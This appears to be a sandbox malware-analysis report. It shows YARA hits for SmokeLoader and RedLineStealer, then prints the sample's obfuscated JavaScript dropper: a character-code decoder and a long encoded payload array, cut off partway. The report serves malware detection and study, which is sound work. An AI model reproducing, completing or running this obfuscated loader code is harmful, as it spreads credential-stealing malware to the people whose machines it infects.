Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000015.00000003.1692068862.0000000000730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000015.00000002.1743424076.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000015.00000002.1743203501.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	iG = 102;
1	wB = 117;
2	Sy = 110;
3	fr = 99;
4	AL = 116;
5	EJ = 105;
6	df = 111;
7	cN = 32;
8	sm = 114;
9	Xj = 90;
10	Vu = 78;
11	uu = 88;
12	XY = 120;
13	Zm = 113;
14	qp = 40;
15	oW = 98;
16	hO = 121;
17	iZ = 69;
18	Mi = 41;
19	tb = 123;
20	JI = 118;
21	iI = 97;
22	dS = 82;
23	Vx = 73;
24	cV = 107;
25	fw = 61;
26	DZ = 34;
27	En = 59;
28	MB = 76;
29	et = 122;
30	Zs = 106;
31	AK = 85;
32	Wi = 48;
33	cO = 60;
34	wD = 46;
35	BJ = 108;
36	tw = 101;
37	aM = 103;
38	Ll = 104;
39	QF = 43;
40	Dc = 74;
41	KU = 83;
42	Ks = 109;
43	SH = 67;
44	Kv = 100;
45	NK = 91;
46	Ez = 93;
47	CQ = 45;
48	HY = 53;
49	mv = 51;
50	pG = 125;
51	AY = 54;
52	UW = 44;
53	DH = 52;
54	zs = 55;
55	ba = 50;
56	kZ = 56;
57	qw = 49;
58	ig = 57;
59	Ae = 119;
60	PU = 65;
61	EB = 79;
62	var dzWC = String.fromCharCode ( iG, wB, Sy, fr, AL, EJ, df, Sy, cN, sm, Xj, Vu, uu, XY, Zm, qp, EJ, oW, hO, fr, iZ, EJ, Mi, tb, JI, iI, sm, cN, df, dS, iG, Vx, cV, fw, cN, DZ, DZ, En, iG, df, sm, cN, qp, JI, iI, sm, cN, MB, iI, df, et, Zs, AK, cN, fw, cN, Wi, En, MB, iI, df, et, Zs, AK, cN, cO, cN, EJ, oW, hO, fr, iZ, EJ, wD, BJ, tw, Sy, aM, AL, Ll, En, cN, MB, iI, df, et, Zs, AK, QF, QF, Mi, tb, JI, iI, sm, cN, uu, EJ, oW, Dc, Xj, cN, fw, cN, KU, AL, sm, EJ, Sy, aM, wD, iG, sm, df, Ks, SH, Ll, iI, sm, SH, df, Kv, tw, qp, EJ, oW, hO, fr, iZ, EJ, NK, MB, iI, df, et, Zs, AK, Ez, cN, CQ, cN, HY, HY, mv, Mi, En, df, dS, iG, Vx, cV, cN, fw, cN, df, dS, iG, Vx, cV, cN, QF, cN, uu, EJ, oW, Dc, Xj, pG, sm, tw, AL, wB, sm, Sy, cN, df, dS, iG, Vx, cV, pG, En, JI, iI, sm, cN, df, dS, iG, Vx, cV, cN, fw, cN, sm, Xj, Vu, uu, XY, Zm, qp, NK, AY, AY, HY, UW, AY, AY, DH, UW, AY, zs, ba, UW, AY, HY, DH, UW, AY, AY, zs, UW, AY, AY, kZ, UW, AY, HY, zs, UW, AY, HY, DH, UW, AY, AY, qw, UW, AY, AY, qw, UW, HY, ig, ig, UW, AY, HY, DH, UW, AY, zs, mv, UW, AY, HY, DH, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, zs, ba, UW, HY, kZ, HY, UW, AY, Wi, ba, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, HY, DH, UW, AY, AY, HY, UW, HY, kZ, HY, UW, AY, mv, kZ, UW, AY, AY, mv, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, AY, kZ, UW, AY, AY, ig, UW, AY, AY, zs, UW, AY, HY, kZ, UW, AY, HY, ba, UW, AY, AY, ig, UW, AY, HY, DH, UW, AY, HY, mv, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, AY, mv, UW, AY, AY, DH, UW, AY, AY, HY, UW, HY, kZ, HY, UW, AY, HY, HY, UW, AY, zs, Wi, UW, AY, AY, mv, UW, AY, HY, ba, UW, AY, AY, ig, UW, AY, HY, kZ, UW, AY, AY, DH, UW, AY, AY, mv, UW, HY, kZ, HY, UW, AY, DH, ba, UW, AY, DH, ba, UW, AY, HY, ig, UW, AY, HY, mv, UW, HY, ig, mv, UW, HY, kZ, ig, UW, AY, qw, kZ, UW, AY, HY, zs, UW, AY, AY, qw, UW, AY, qw, kZ, UW, AY, HY, ba, UW, HY, ig, DH, UW, AY, zs, AY, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, AY, ig, UW, AY, zs, Wi, UW, AY, AY, zs, UW, AY, AY, mv, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, AY, kZ, UW, AY, AY, HY, UW, AY, AY, qw, UW, AY, HY, kZ, UW, AY, AY, ig, UW, HY, kZ, HY, UW, HY, ig, mv, UW, HY, kZ, ig, UW, AY, qw, kZ, UW, AY, HY, zs, UW, AY, AY, qw, UW, AY, qw, kZ, UW, AY, HY, ba, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, AY, HY, UW, AY, AY, qw, UW, AY, HY, Wi, UW, AY, HY, ba, UW, AY, HY, DH, UW, HY, kZ, HY, UW, HY, ig, ba, UW, HY, ig, ig, UW, HY, ig, ig, UW, HY, ig, ba, UW, HY, ig, zs, UW, HY, kZ, HY, UW, HY, ig, ba, UW, AY, Wi, qw, UW, AY, zs, mv, UW, HY, kZ, ig, UW, HY, ig, qw, UW, HY, kZ, HY, UW, HY, ig, ba, UW, HY, ig, DH, UW, AY, zs, kZ, UW, AY, qw, ba, UW, HY, kZ, ig, UW, AY, ba, kZ, UW, AY, mv, mv, UW, AY, zs, ba, UW, AY, ba, Wi, UW, HY, kZ, HY, UW, AY, qw, DH, UW, HY, kZ, HY, UW, AY, DH, ba, UW, AY, DH, ba, UW, AY, HY, ig, UW, AY, HY, mv, UW, HY, ig, mv, UW, HY, ig, ba, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, zs, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, qw, Wi, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, ba, qw, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, DH, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, Wi, ba, 